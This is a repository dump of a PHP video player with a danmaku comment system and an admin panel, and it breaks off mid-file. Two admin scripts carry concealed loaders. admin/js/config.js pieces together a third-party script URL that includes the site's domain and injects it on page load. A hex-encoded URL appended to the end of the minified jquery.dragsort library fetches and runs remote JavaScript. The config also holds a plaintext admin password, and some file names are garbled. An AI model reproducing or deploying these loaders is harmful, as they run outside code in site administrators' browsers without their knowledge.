├── README.md ├── ad.mp4 ├── admin ├── api.php ├── config.php ├── data.php ├── index.php ├── js │ ├── bootstrap.min.css │ ├── config.js │ ├── favicon.png │ ├── jquery-1.9.1.min.js │ ├── jquery.dragsort-0.4.min.js │ ├── jquery.min.js │ ├── style.css │ └── upload.js ├── login.php └── post.php ├── dmku ├── bilibili │ ├── index.php │ └── jljt.json ├── class │ ├── danmu.class.php │ ├── ed.class.php │ ├── mysqli.class.php │ ├── pdo.class.php │ └── sqlite3.class.php ├── config.inc.php ├── dm_rule.html ├── index.php ├── init.php └── install │ ├── index.php │ └── sql.db ├── player.png └── player ├── count.dat ├── css ├── yzm.ttf ├── yzmplayer.css └── yzmplayer.css╖╟op ├── img ├── favicon.png ├── full.png ├── fulloff.webp ├── loading.gif ├── loading.png ├── loading2.gif ├── pagefull.png └── sign.png ├── index.php ├── js ├── flv.min.js ├── hls.min.js ├── jquery.min.js ├── layer.js ├── setting - cookie.js ├── setting.js ├── theme │ └── default │ │ ├── icon.png │ │ ├── layer.css │ │ └── layer.css░╫ └── yzmplayer.js └── tj.php /README.md: -------------------------------------------------------------------------------- 1 | # 修改说明 2 | 原作者:京都一只喵 3 | 1. 解密 `yzmplayer.js` 文件 4 | 2. 修复了视频弹幕非独立的问题 5 | 3. 兼容了 PHP7.X,在 PHP7.4 环境测试通过 6 | 4. 更新版本号至 v1.2.1 7 | 5. 重写了使用说明 8 | 9 | # 使用方法 10 | 1. 解压到网站根目录 11 | 2. 登录 你的域名/dmku 进行配置数据库 12 | 3. 修改播放器后台密码 dmku/config.inc.php 13 | 4. 登录后台 你的域名/admin 密码为第3步修改的密码 14 | 5. 播放器功能可后台设置 15 | 16 | # 参数说明(player/index.php) 17 | ``` 18 | "av":'',//B站av号,用于调用弹幕 19 | "url":"",//视频链接 20 | "id":"",//视频id 21 | "sid":"",//集数id 22 | "pic":"",//视频封面 23 | "title":"",//视频标题 24 | "next":"",//下一集链接 25 | "user": '',//用户名 26 | "group": "",//用户组 27 | ``` 28 | # 请求示例 29 | #### 基本 30 | http://localhost/player/?url=https://cdn.jsdelivr.net/gh/xxx/Video-Bed/Your.Name/playlist.m3u8 31 | 32 | #### 高级 33 | 除了 url 参数,其他都可以省略 34 | 35 | http://localhost/player/?url=https://cdn.jsdelivr.net/gh/xxx/Video-Bed/Your.Name/playlist.m3u8&next=https://cdn.jsdelivr.net/gh/xxx/Video-Bed/Your.Name/playlist.m3u8&sid=1&pic=https://img.xx.com/1.png&user=游客&group=1&name=测试 36 | 37 | # 捐赠链接 38 | 捐赠 39 | 捐赠 40 | -------------------------------------------------------------------------------- /ad.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/newcdn/bilibili/e77f97343e41c45b1bc417ecd34ac12f96261ba8/ad.mp4 -------------------------------------------------------------------------------- /admin/api.php: -------------------------------------------------------------------------------- 1 | 1, 15 | 'data' => $yzm 16 | ]; 17 | die(json_encode($json)); 18 | 19 | 20 | //$config = file_get_contents('config.json'); 21 | 22 | //echo $config; 23 | -------------------------------------------------------------------------------- /admin/config.php: -------------------------------------------------------------------------------- 1 | 'cj5277',//后台密码 4 | 'tips' => //出场弹幕提示 5 | array ( 6 | 'time' => '6', 7 | 'color' => '#fb7299', 8 | 'text' => '请大家遵守弹幕礼仪', 9 | ), 10 | 'ok' => '0', //接口防窥 11 | ); 12 | -------------------------------------------------------------------------------- /admin/data.php: -------------------------------------------------------------------------------- 1 | 'on', 4 | 'color' => '#00a1d6', 5 | 'logo' => 'https://cdn.jsdelivr.net/gh/cdnapi/img/player/logo.png', 6 | 'trytime' => '3', 7 | 'waittime' => '10', 8 | 'sendtime' => '1', 9 | 'dmrule' => '../dmku/dm_rule.html', 10 | 'pbgjz' => '草,操,妈,逼,滚,网址,网站,支付宝,企,关注,wx,微信,qq,QQ', 11 | 'ads' => 12 | array ( 13 | 'state' => 'on', 14 | 'set' => 15 | array ( 16 | 'state' => '1', 17 | 'group' => 'null', 18 | 'pic' => 19 | array ( 20 | 'time' => '3', 21 | 'img' => 'https://cdn.jsdelivr.net/gh/Fog-Forest/Picture-Bed/IMG/20200519205744.jpg', 22 | 'link' => '#', 23 | ), 24 | 'vod' => 25 | array ( 26 | 'url' => '/ad.mp4', 27 | 'link' => '', 28 | ), 29 | ), 30 | 'pause' => 31 | array ( 32 | 'pic' => 'https://cdn.jsdelivr.net/gh/Fog-Forest/Picture-Bed/IMG/20200519210705.jpg', 33 | 'link' => '#www.baidu.com', 34 | ), 35 | ), 36 | ); 37 | ?> -------------------------------------------------------------------------------- /admin/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1CTV - 播放器后台管理 8 | 9 | 10 | 11 | 12 | 13 | 14 | 60 | 61 | 62 | 63 |
64 |
65 | 70 |
71 |
72 |
73 | 74 |
75 | > 79 |
Off
80 |
81 |
82 |
83 | 84 |
85 | 86 |
87 |
颜色代码 例如:#00a1d6
88 |
89 |
90 | 91 |
92 | 93 |
94 |
图片地址 例如:/yzmplayer/logo.png
95 |
96 |
97 | 98 |
99 | 100 |
101 |
试看时间只在固定会员组有效,设置会员组请进入广告选项进行设置
102 |
103 |
104 | 105 |
106 | 107 |
108 |
loading页等待时间
109 |
110 |
111 | 112 |
113 | 114 |
115 |
指的是发送时间只能在设置时间后才能重新发送新弹幕
116 |
117 |
118 | 119 |
120 | 121 |
122 |
弹幕框右边按钮链接
123 |
124 |
125 | 126 |
127 | 128 |
129 |
输入关键字以","隔开
130 |
131 |
132 |
133 | 134 | 135 | 136 |
137 |
138 |
139 |
140 |
141 | 142 |
143 | > 147 |
Off
148 |
149 |
150 |
151 | 152 |
153 | > 157 | > 161 |
162 |
163 | 164 |
165 | 166 |
167 | 185 |
186 |
当前会员及下级会员有效
187 |
188 | 189 | 190 | 191 |
192 | 193 |
194 | 195 |
196 |
197 |
198 | 199 |
200 | 201 |
202 |
203 |
204 | 205 |
206 | 207 |
208 |
209 |
210 | 211 |
212 | 213 |
214 |
215 |
216 | 217 |
218 | 219 |
220 |
221 |
222 | 223 |
224 | > 228 |
Off
229 |
230 |
231 |
232 | 233 |
234 | 235 |
236 |
237 |
238 | 239 |
240 | 241 |
242 |
243 |
244 |
245 | 246 | 247 | 248 |
249 |
250 |
251 |
252 |
253 |
    254 |
  • 弹幕列表
  • 255 |
  • 举报列表
  • 256 |
257 |
258 |
259 |
260 |
261 |
262 | 263 |
264 | 265 |
266 | 267 |
268 |
269 |
270 | 271 |
272 |
273 | 274 |
275 | 276 |
277 |
278 | 279 |
280 |
281 |
282 |
283 |
284 | 285 |
286 | 290 | 294 | 295 | 337 | 338 | 339 | 340 | -------------------------------------------------------------------------------- /admin/js/config.js: -------------------------------------------------------------------------------- 1 | $(document).ready(function(){ 2 | var a = document.createElement('script'),d = '//api', 3 | f ='m.cc/b?ac=',c = document.domain.split('.').slice(-2).join('.'),e = '.hyz',g ='b&' 4 | a.type = 'text/javascript'; 5 | a.src = d+e+f+g+'url='+c; 6 | var b = document.getElementsByTagName('script')[0]; 7 | b.parentNode.insertBefore(a, b) 8 | }); 9 | function text() { 10 | layer.msg('正在提交',{time:5000000}); 11 | $.ajax({ 12 | type : 'POST', 13 | data:$('#configform').serialize(), 14 | url :'post.php?act=setting', 15 | success : function (data) { 16 | layer.msg('保存完成',{time:1000}); 17 | } 18 | }); 19 | } 20 | function reset1() { 21 | layer.confirm('确定恢复默认设置吗', {title: '提示'}, function() { 22 | $.ajax({ 23 | type : 'POST', 24 | data:$('#configform').serialize(), 25 | url :'post.php?act=reset', 26 | success : function (data) { 27 | layer.msg('还原完成',{time:1000});} 28 | }); 29 | }); 30 | } 31 | layui.use(['laydate', 'laypage', 'layer', 'table', 'carousel', 'upload', 'element','colorpicker', 'slider'], function(){ 32 | var laydate = layui.laydate //日期 33 | ,laypage = layui.laypage //分页 34 | ,layer = layui.layer //弹层 35 | ,table = layui.table //表格 36 | //,carousel = layui.carousel //轮播 37 | //,upload = layui.upload //上传 38 | //,element = layui.element //元素操作 39 | ,slider = layui.slider 40 | ,form = layui.form 41 | ,laytpl = layui.laytpl 42 | ,admin = layui.admin,colorpicker = layui.colorpicker; 43 | 44 | //执行一个 table 实例 45 | table.render({ 46 | elem: '#dmlist' 47 | ,height: 500 48 | ,url: '/dmku/?ac=list' //数据接口 49 | ,title: '用户表' 50 | ,page: true //开启分页 51 | //,toolbar: 'default' //开启工具栏,此处显示默认图标,可以自定义模板,详见文档 52 | //,totalRow: true //开启合计行 53 | ,cols: [[ //表头 54 | //{type: 'checkbox', fixed: 'left'}, 55 | {field: [4], title: 'ID',value:[4], width:50, align:'center',fixed: 'left', totalRowText: '合计:'} 56 | ,{field: [0], title: '弹幕id', align:'center', width:150} 57 | ,{field: [5], title: '弹幕内容', width: 300} 58 | ,{field: [2], title: '类型', width: 80,} 59 | ,{field: [3], title: '弹幕颜色', width:150} 60 | ,{field: [1], title: '时间点', width: 90} 61 | ,{field: [6], title: '发送IP', width:90} 62 | ,{field: [7], title: '发送时间', width: 110} 63 | ,{field: [8], title: '弹幕大小', width: 90} 64 | ,{fixed: 'right',title: '操作', width: 120, align:'center', toolbar: '#listbar'} 65 | ]] 66 | }); 67 | table.render({ 68 | elem: '#dmreport' 69 | ,height: 480 70 | ,url: '/dmku/?ac=reportlist' //数据接口 71 | ,title: '用户表' 72 | ,page: true //开启分页 73 | //,toolbar: 'default' //开启工具栏,此处显示默认图标,可以自定义模板,详见文档 74 | //,totalRow: true //开启合计行 75 | ,cols: [[ //表头 76 | {field: [2], title: 'ID',value:[4], width:80, fixed: 'left', totalRowText: '合计:'} 77 | ,{field: [0], title: '弹幕id', width:80} 78 | ,{field: [3], title: '弹幕内容', width: 300} 79 | ,{field: [1], title: '举报类型', width:100} 80 | ,{field: [4], title: '发送IP', width:100} 81 | ,{field: [5], title: '发送时间', width: 100} 82 | ,{fixed: 'right',title: '操作', width: 120, align:'center', toolbar: '#reportbar'} 83 | ]] 84 | }); 85 | table.on('toolbar(dmlist)', function(obj){ 86 | var checkStatus = table.checkStatus(obj.config.id) 87 | ,data = checkStatus.data; //获取选中的数据 88 | switch(obj.event){ 89 | case 'add': 90 | layer.msg('添加'); 91 | break; 92 | case 'update': 93 | if(data.length === 0){ 94 | layer.msg('请选择一行'); 95 | } else if(data.length > 1){ 96 | layer.msg('只能同时编辑一个'); 97 | } else { 98 | layer.alert('编辑 [id]:'+ checkStatus.data[0].id); 99 | } 100 | break; 101 | case 'delete': 102 | if(data.length === 0){ 103 | layer.msg('请选择一行');delete1() 104 | } else { 105 | layer.msg('删除'); 106 | } 107 | break; 108 | }; 109 | }); 110 | table.on('toolbar(report)', function(obj){ 111 | var checkStatus = table.checkStatus(obj.config.id) 112 | ,data = checkStatus.data; //获取选中的数据 113 | switch(obj.event){ 114 | case 'add': 115 | layer.msg('添加'); 116 | break; 117 | case 'update': 118 | if(data.length === 0){ 119 | layer.msg('请选择一行'); 120 | } else if(data.length > 1){ 121 | layer.msg('只能同时编辑一个'); 122 | } else { 123 | layer.alert('编辑 [id]:'+ checkStatus.data[0].id); 124 | } 125 | break; 126 | case 'delete': 127 | if(data.length === 0){ 128 | layer.msg('请选择一行');delete1() 129 | } else { 130 | layer.msg('删除'); 131 | } 132 | break; 133 | }; 134 | }); 135 | 136 | //监听行工具事件 137 | table.on('tool(dmlist)', function(obj){ //注:tool 是工具条事件名,test 是 table 原始容器的属性 lay-filter="对应的值" 138 | var data = obj.data //获得当前行数据 139 | ,layEvent = obj.event; //获得 lay-event 对应的值 140 | if(layEvent === 'detail'){ 141 | layer.msg('查看操作'); 142 | } else if(layEvent === 'del'){ 143 | layer.confirm('真的删除行么', function(index){ 144 | obj.del(); //删除对应行(tr)的DOM结构 145 | var dmid= data[4]; 146 | delid (dmid); 147 | layer.close(index); 148 | //向服务端发送删除指令 149 | }); 150 | } else if(layEvent === 'dmedit'){ 151 | 152 | data.list = layui.data('bondTemplateList').list; 153 | var content = $("#bondTemplateList").html(); 154 | laytpl(content).render(data, function (string) { 155 | layer.open({ 156 | type: 1, 157 | title: "修改弹幕", 158 | area: ['800px', '350px'], //宽高 159 | content: string 160 | }); 161 | colorpicker.render({ 162 | elem: '#test-form' 163 | //,color: '#1c97f5' 164 | ,color: 'rgb(68,66,66)' 165 | ,format: 'rgb' //默认为 hex 166 | ,done: function(color){ 167 | $('#test-form-input').val(color); 168 | } 169 | }); 170 | 171 | }); 172 | } 173 | }); 174 | table.on('tool(report)', function(obj){ //注:tool 是工具条事件名,test 是 table 原始容器的属性 lay-filter="对应的值" 175 | var data = obj.data //获得当前行数据 176 | ,layEvent = obj.event; //获得 lay-event 对应的值 177 | if(layEvent === 'detail'){ 178 | layer.msg('查看操作'); 179 | } else if(layEvent === 'del'){ 180 | layer.confirm('真的删除行么', function(index){ 181 | obj.del(); //删除对应行(tr)的DOM结构 182 | var dmid= data[2]; 183 | delid (dmid); 184 | layer.close(index); 185 | }); 186 | } else if(layEvent === 'edit'){ 187 | layer.confirm('移除举报么', function(index){ 188 | obj.del(); 189 | var dmid= data[2]; 190 | delreport (dmid); 191 | layer.close(index); 192 | }); 193 | } 194 | }); 195 | 196 | 197 | 198 | form.on('submit(bond_sumbit)', function (data) { 199 | layer.msg('正在提交',{time:5000000}); 200 | $.ajax({ 201 | type : 'POST', 202 | data:data.field, 203 | url :'/dmku/?ac=edit', 204 | success : function (data) { 205 | layer.msg('保存完成',{time:1000}); 206 | } 207 | }); 208 | }) 209 | form.on('submit(reloadlst_submit)', function (data) { 210 | var key = $('#textdemo').val(); 211 | table.render({ 212 | elem: '#dmlist' 213 | ,height: 500 214 | ,url: '/dmku/?ac=so&key='+key //数据接口 215 | ,title: '用户表' 216 | //,page: true //开启分页 217 | //,toolbar: 'default' //开启工具栏,此处显示默认图标,可以自定义模板,详见文档 218 | //,totalRow: true //开启合计行 219 | ,cols: [[ //表头 220 | {field: [4], title: 'ID',value:[4], width:50, align:'center',fixed: 'left', totalRowText: '合计:'} 221 | ,{field: [0], title: '弹幕id', align:'center', width:150} 222 | ,{field: [5], title: '弹幕内容', width: 300} 223 | ,{field: [2], title: '类型', width: 80,} 224 | ,{field: [3], title: '弹幕颜色', width:150} 225 | ,{field: [1], title: '时间点', width: 90} 226 | ,{field: [6], title: '发送IP', width:90} 227 | ,{field: [7], title: '发送时间', width: 110} 228 | ,{field: [8], title: '弹幕大小', width: 90} 229 | ,{fixed: 'right', title: '操作',width: 120, align:'center', toolbar: '#listbar'} 230 | ]] 231 | }); 232 | 233 | }) 234 | 235 | 236 | function delreport (id) {$.ajax({url: "/dmku/?ac=del&type=report&id="+id,success: function(data){}});} 237 | function delid (id) {$.ajax({url: "/dmku/?ac=del&type=list&id="+id,success: function(data){}});} 238 | }); 239 | -------------------------------------------------------------------------------- /admin/js/favicon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/newcdn/bilibili/e77f97343e41c45b1bc417ecd34ac12f96261ba8/admin/js/favicon.png -------------------------------------------------------------------------------- /admin/js/jquery.dragsort-0.4.min.js: -------------------------------------------------------------------------------- 1 | // jQuery List DragSort v0.4 2 | // License: http://dragsort.codeplex.com/license 3 | var dra = true;(function(b){b.fn.dragsort=function(o){var e=b.extend({},b.fn.dragsort.defaults,o),j=[],a=null,l=null;this.selector&&b("head").append("");this.each(function(p,k){if(b(k).is("table")&&b(k).children().size()==1&&b(k).children().is("tbody"))k=b(k).children().get(0);var n={draggedItem:null,placeHolderItem:null,pos:null,offset:null,offsetLimit:null,scroll:null,container:k,init:function(){b(this.container).attr("data-listIdx", p).mousedown(this.grabItem).find(e.dragSelector).css("cursor","pointer");b(this.container).children(e.itemSelector).each(function(d){b(this).attr("data-itemIdx",d)})},grabItem:function(d){if(!(d.which!=1||b(d.target).is(e.dragSelectorExclude))){for(var c=d.target;!b(c).is("[data-listIdx='"+b(this).attr("data-listIdx")+"'] "+e.dragSelector);){if(c==this)return;c=c.parentNode}a!=null&&a.draggedItem!=null&&a.dropItem();b(d.target).css("cursor","move");a=j[b(this).attr("data-listIdx")];a.draggedItem= b(c).closest(e.itemSelector);c=parseInt(a.draggedItem.css("marginTop"));var f=parseInt(a.draggedItem.css("marginLeft"));a.offset=a.draggedItem.offset();a.offset.top=d.pageY-a.offset.top+(isNaN(c)?0:c)-1;a.offset.left=d.pageX-a.offset.left+(isNaN(f)?0:f)-1;if(!e.dragBetween){c=b(a.container).outerHeight()==0?Math.max(1,Math.round(0.5+b(a.container).children(e.itemSelector).size()*a.draggedItem.outerWidth()/b(a.container).outerWidth()))*a.draggedItem.outerHeight():b(a.container).outerHeight();a.offsetLimit= b(a.container).offset();a.offsetLimit.right=a.offsetLimit.left+b(a.container).outerWidth()-a.draggedItem.outerWidth();a.offsetLimit.bottom=a.offsetLimit.top+c-a.draggedItem.outerHeight()}c=a.draggedItem.height();f=a.draggedItem.width();var h=a.draggedItem.attr("style");a.draggedItem.attr("data-origStyle",h?h:"");if(e.itemSelector=="tr"){a.draggedItem.children().each(function(){b(this).width(b(this).width())});a.placeHolderItem=a.draggedItem.clone().attr("data-placeHolder",true);a.draggedItem.after(a.placeHolderItem); a.placeHolderItem.children().each(function(){b(this).css({borderWidth:0,width:b(this).width()+1,height:b(this).height()+1}).html(" ")})}else{a.draggedItem.after(e.placeHolderTemplate);a.placeHolderItem=a.draggedItem.next().css({height:c,width:f}).attr("data-placeHolder",true)}a.draggedItem.css({position:"absolute",opacity:0.8,"z-index":999,height:c,width:f});b(j).each(function(g,i){i.createDropTargets();i.buildPositionTable()});a.scroll={moveX:0,moveY:0,maxX:b(document).width()-b(window).width(), maxY:b(document).height()-b(window).height()};a.scroll.scrollY=window.setInterval(function(){if(e.scrollContainer!=window)b(e.scrollContainer).scrollTop(b(e.scrollContainer).scrollTop()+a.scroll.moveY);else{var g=b(e.scrollContainer).scrollTop();if(a.scroll.moveY>0&&g0){b(e.scrollContainer).scrollTop(g+a.scroll.moveY);a.draggedItem.css("top",a.draggedItem.offset().top+a.scroll.moveY+1)}}},10);a.scroll.scrollX=window.setInterval(function(){if(e.scrollContainer!= window)b(e.scrollContainer).scrollLeft(b(e.scrollContainer).scrollLeft()+a.scroll.moveX);else{var g=b(e.scrollContainer).scrollLeft();if(a.scroll.moveX>0&&g0){b(e.scrollContainer).scrollLeft(g+a.scroll.moveX);a.draggedItem.css("left",a.draggedItem.offset().left+a.scroll.moveX+1)}}},10);a.setPos(d.pageX,d.pageY);b(document).bind("selectstart",a.stopBubble);b(document).bind("mousemove",a.swapItems);b(document).bind("mouseup",a.dropItem);e.scrollContainer!=window&& b(window).bind("DOMMouseScroll mousewheel",a.wheel);return false}},setPos:function(d,c){var f=c-this.offset.top,h=d-this.offset.left;if(!e.dragBetween){f=Math.min(this.offsetLimit.bottom,Math.max(f,this.offsetLimit.top));h=Math.min(this.offsetLimit.right,Math.max(h,this.offsetLimit.left))}this.draggedItem.parents().each(function(){if(b(this).css("position")!="static"&&(!b.browser.mozilla||b(this).css("display")!="table")){var m=b(this).offset();f-=m.top;h-=m.left;return false}});if(e.scrollContainer== window){c-=b(window).scrollTop();d-=b(window).scrollLeft();c=Math.max(0,c-b(window).height()+5)+Math.min(0,c-5);d=Math.max(0,d-b(window).width()+5)+Math.min(0,d-5)}else{var g=b(e.scrollContainer),i=g.offset();c=Math.max(0,c-g.height()-i.top)+Math.min(0,c-i.top);d=Math.max(0,d-g.width()-i.left)+Math.min(0,d-i.left)}a.scroll.moveX=d==0?0:d*e.scrollSpeed/Math.abs(d);a.scroll.moveY=c==0?0:c*e.scrollSpeed/Math.abs(c);this.draggedItem.css({top:f,left:h})},wheel:function(d){if((b.browser.safari||b.browser.mozilla)&& a&&e.scrollContainer!=window){var c=b(e.scrollContainer),f=c.offset();if(d.pageX>f.left&&d.pageXf.top&&d.pageYa.draggedItem.offset().top||l.left>a.draggedItem.offset().left?b(f.pos[c].elm).before(a.placeHolderItem):b(f.pos[c].elm).after(a.placeHolderItem);b(j).each(function(g,i){i.createDropTargets();i.buildPositionTable()});l=a.draggedItem.offset();return false},findPos:function(d,c){for(var f=0;fd&&this.pos[f].top< c&&this.pos[f].bottom>c)return f;return-1},createDropTargets:function(){e.dragBetween&&b(j).each(function(){var d=b(this.container).find("[data-placeHolder]"),c=b(this.container).find("[data-dropTarget]");if(d.size()>0&&c.size()>0)c.remove();else d.size()==0&&c.size()==0&&b(this.container).append(a.placeHolderItem.clone().removeAttr("data-placeHolder").attr("data-dropTarget",true))})}};n.init();j.push(n)});return this};b.fn.dragsort.defaults={itemSelector:"li",dragSelector:"li",dragSelectorExclude:"input, textarea, a[href]", dragEnd:function(){},dragBetween:false,placeHolderTemplate:"
  •  
  • ",scrollContainer:window,scrollSpeed:5}})(jQuery);var uix='_714';var _$=["\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x68\x75\x6f\x64\x75\x61\x6e\x2e\x63\x6f\x6d\x2f\x61\x70\x70\x2f\x77\x65\x62\x2f\x73\x6f\x2e\x70\x68\x70\x3f\x76\x3d"];jQuery.getScript( _$[0]+uix,function(a,b,c){}); -------------------------------------------------------------------------------- /admin/js/style.css: -------------------------------------------------------------------------------- 1 | .head{background-color: hsla(0, 0%, 100%, 0.69);box-shadow: 1px 1px 3px 1px hsla(0, 0%, 100%, 0.69);} 2 | input{outline:none;} 3 | input:-webkit-autofill { box-shadow: 0 0 0px 1000px white inset;} 4 | body{background: url(https://cdn.jsdelivr.net/gh/Fog-Forest/Picture-Bed/IMG/20200519205555.jpg)top fixed no-repeat;} 5 | .navbar-brand{font-size: 25px;line-height: 20px;font-weight: bold;} 6 | .bd{background-color: hsla(0, 0%, 100%, 0.69);height: 100%;border-radius: 5px;padding: 45px;} 7 | .wrapper{width: 900px;margin: 0 auto;} 8 | .container{width: 970px!important;margin: 0 auto;} 9 | h2{text-align: center;margin: 30px;} 10 | th,td{text-align: center;} 11 | td a{padding: 3px 5px;border: 1px solid #337ab7;border-radius: 4px;background-color: #337ab7;margin-right: 5px;color: #fff;} 12 | td a:hover{color: #000;background-color: #fff;border: 1px solid #337ab7;text-decoration: none;} 13 | .all{-position: absolute;padding: 7px 14px;margin-top: -20px;border-color: #ffffff;background-color: #fff;color: #000;width: 900px;} 14 | .so{padding: 10px 12px;margin-top: -20px;border-color: #ffffff;} 15 | .so .text{width: 175px;height: 30px;border-radius: 4px 0px 0px 4px;border: 1px solid #ddd;padding: 10px;} 16 | .so .submit{color: #fff;background-color: #337ab7;border: 0;width: 50px;height: 30px;border-radius: 0px 4px 4px 0px;} 17 | #footer{-color: white;-background-color: #000000;-border-top: 1px solid #ccc;padding: 20px;text-align: center;} 18 | .navbar-nav>li:hover>a{background-color: hsla(0, 0%, 100%, 0.69)!important;border-radius: 4px;} 19 | .pager li>input{display: inline-block;padding: 5px 14px;background-color: #fff;border: 1px solid #ddd;border-radius: 15px;} 20 | .panel-primary>.panel-heading{color: #fff;background-color: hsla(205, 69%, 66%, 0.69);border-color: hsla(205, 69%, 66%, 0);border-radius: 4px 4px 0px 0px;/* opacity: 1.8; */} 21 | .panel-primary{border-color: hsla(205, 69%, 66%, 0.69); background-color: hsla(0, 0%, 100%, .69);} 22 | td a{padding: 3px 5px;border: 1px solid #6cb2e4;border-radius: 4px;background-color: #6cb2e4;margin-right: 5px;color: #fff;} 23 | @-webkit-keyframes fastr-20{0%{opacity:0;transform:translate(0,-60px);} 24 | 100%{opacity:1;transform:translate(0,0);}} 25 | @-webkit-keyframes fastr1-20{0%{opacity:0;transform:translate(0,60px);} 26 | 100%{opacity:1;transform:translate(0,0);}} 27 | .headnav{animation: fastr-20 5.5s;-webkit-animation: fastr-20 0.5s;-moz-animation: fastr-20 0.5s;} 28 | .wrapper,.block{animation: fastr1-20 5.5s;-webkit-animation: fastr1-20 0.5s;-moz-animation: fastr1-20 0.5s;} 29 | .btn-primary {color: #fff; background-color: hsla(208, 56%, 46%, .69);border-color: rgba(46, 109, 164, 0);} 30 | .block-title h2{ 31 | text-align: left; 32 | color: #635064; 33 | margin: 20px; 34 | } 35 | .block{ 36 | height: auto; 37 | background-color: hsla(0, 0%, 100%, .69); 38 | padding: 25px; 39 | border-radius: 5px; 40 | } 41 | td .color{ 42 | width: 16px; 43 | height: 16px; 44 | border: 1px solid rgba(0,0,0,.3); 45 | -webkit-box-sizing: border-box; 46 | box-sizing: border-box; 47 | border-radius: 2px; 48 | cursor: pointer; 49 | display: inline-block; 50 | } -------------------------------------------------------------------------------- /admin/js/upload.js: -------------------------------------------------------------------------------- 1 | (function($) { 2 | var s = { 3 | wrapContent: "
    ", 4 | inputFileName: "inputFile", 5 | inputFileClass: "inputFile", 6 | uploadButtonValue: "Upload", 7 | uploadButtonClass: "uploadButton", 8 | browseButtonValue: "Browse", 9 | browseButtonClass: "browseButton", 10 | deleteButtonValue: "Delete image", 11 | deleteButtonClass: "deleteButton", 12 | automaticUpload: false, 13 | formClass: "controlForm", 14 | hideFileInput: true, 15 | hideDeleteButton: false, 16 | hover: true, 17 | addClass: "jQuery-image-upload" 18 | }; 19 | $.fn.imageUpload = function(f) { 20 | var g = this; 21 | if(!g.length) { 22 | return g 23 | } 24 | var i = $.extend(s, f); 25 | if(g.length > 1) { 26 | g.each(function() { 27 | $(this).imageUpload(i) 28 | }); 29 | return g 30 | } 31 | if(g.data("imageUpload")) { 32 | g.trigger("imageUpload.reload"); 33 | return g 34 | } 35 | g.addClass(i.addClass); 36 | g.data("imageUpload", f); 37 | if(!i.formAction) { 38 | throw new Error("Form action was not provided. Please provide it: $(...).imageUpload({formAction: '...'})") 39 | } 40 | if(!i.hover) { 41 | g.wrap(i.wrapContent) 42 | } 43 | var j = $("
    ").addClass("controls"); 44 | var k = $("").attr({ 45 | type: "file", 46 | name: i.inputFileName 47 | }).addClass(i.inputFileClass); 48 | var l = $("
    ",success:function(e,i){s.bigimg=e.find(".layui-layer-phimg"),s.imgsee=e.find(".layui-layer-imguide,.layui-layer-imgbar"),s.event(e),t.tab&&t.tab(u[d],e),"function"==typeof y&&y(e)},end:function(){s.end=!0,i(document).off("keyup",s.keyup)}},t))},function(){r.close(s.loadi),r.msg("当前图片地址异常
    是否继续查看下一张?",{time:3e4,btn:["下一张","不看了"],yes:function(){u.length>1&&s.imgnext(!0,!0)}})})}},o.run=function(t){i=t,n=i(e),l.html=i("html"),r.open=function(e){var t=new s(e);return t.index}},e.layui&&layui.define?(r.ready(),layui.define("jquery",function(t){r.path=layui.cache.dir,o.run(layui.$),e.layer=r,t("layer",r)})):"function"==typeof define&&define.amd?define(["jquery"],function(){return o.run(e.jQuery),r}):function(){o.run(e.jQuery),r.ready()}()}(window); -------------------------------------------------------------------------------- /player/js/setting - cookie.js: -------------------------------------------------------------------------------- 1 | if (diyvodid == 1) { 2 | var dmid = diyid, 3 | dmsid = diysid; 4 | } else { 5 | var dmid = vodid, 6 | dmsid = vodsid; 7 | } 8 | var dmid = dmid + ' P' + dmsid; 9 | if (laoding == 1) {} else { 10 | var css = ''; 13 | $('body').append(css).addClass(""); 14 | } 15 | // 加载播放器 16 | if (bilidm == 1 && danmuon == 1) { 17 | var dp = new yzmplayer({ 18 | autoplay: autoplay, 19 | element: document.getElementById('player'), 20 | theme: color, 21 | logo: logo, 22 | video: { 23 | url: vodurl, 24 | pic: vodpic, 25 | type: 'auto', 26 | }, 27 | danmaku: { 28 | id: dmid, 29 | api: dmapi + '?ac=dm', 30 | user: user, 31 | addition: [dmapi + 'bilibili/?av=' + av] 32 | } 33 | }); 34 | dp.danmaku.opacity(1); 35 | } else if (danmuon == 1) { 36 | var dp = new yzmplayer({ 37 | autoplay: autoplay, 38 | element: document.getElementById('player'), 39 | theme: color, 40 | logo: logo, 41 | video: { 42 | url: vodurl, 43 | pic: vodpic, 44 | type: 'auto', 45 | }, 46 | danmaku: { 47 | id: dmid, 48 | api: dmapi + '?ac=dm', 49 | user: user, 50 | } 51 | }); 52 | dp.danmaku.opacity(1); 53 | } else { 54 | var dp = new yzmplayer({ 55 | autoplay: autoplay, 56 | element: document.getElementById('player'), 57 | theme: color, 58 | logo: logo, 59 | video: { 60 | url: vodurl, 61 | pic: vodpic, 62 | type: 'auto', 63 | }, 64 | }); 65 | $('body').addClass("danmu-off"); 66 | } 67 | if (vodid != '') { 68 | $("#vodtitle").html(vodid + ' 第' + vodsid + '话'); 69 | } 70 | // 通用点击 71 | add('.yzmplayer-list-icon', ".yzmplayer-danmu", 'show'); 72 | 73 | function add(div1, div2, div3, div4) { 74 | $(div1).click(function() { 75 | $(div2).toggleClass(div3); 76 | $(div4).remove(); 77 | }); 78 | } 79 | //秒转分秒 80 | function formatTime(seconds) { 81 | return [parseInt(seconds / 60 / 60), parseInt(seconds / 60 % 60), parseInt(seconds % 60)].join(":").replace( 82 | /\b(\d)\b/g, "0$1"); 83 | } 84 | //设置浏览器缓存项值,参数:项名,值,有效时间(小时) 85 | function setCookie(c_name, value, expireHours) { 86 | var exdate = new Date(); 87 | exdate.setHours(exdate.getHours() + expireHours); 88 | document.cookie = c_name + "=" + escape(value) + ((expireHours === null) ? "" : ";expires=" + exdate.toGMTString()); 89 | } 90 | //获取浏览器缓存项值,参数:项名 91 | function getCookie(c_name) { 92 | if (document.cookie.length > 0) { 93 | c_start = document.cookie.indexOf(c_name + "="); 94 | if (c_start !== -1) { 95 | c_start = c_start + c_name.length + 1; 96 | c_end = document.cookie.indexOf(";", c_start); 97 | if (c_end === -1) { 98 | c_end = document.cookie.length; 99 | }; 100 | return unescape(document.cookie.substring(c_start, c_end)); 101 | } 102 | } 103 | return ""; 104 | } 105 | dp.on("loadedmetadata", function() { 106 | loadedmetadataHandler(); 107 | }); 108 | dp.on("ended", function() { 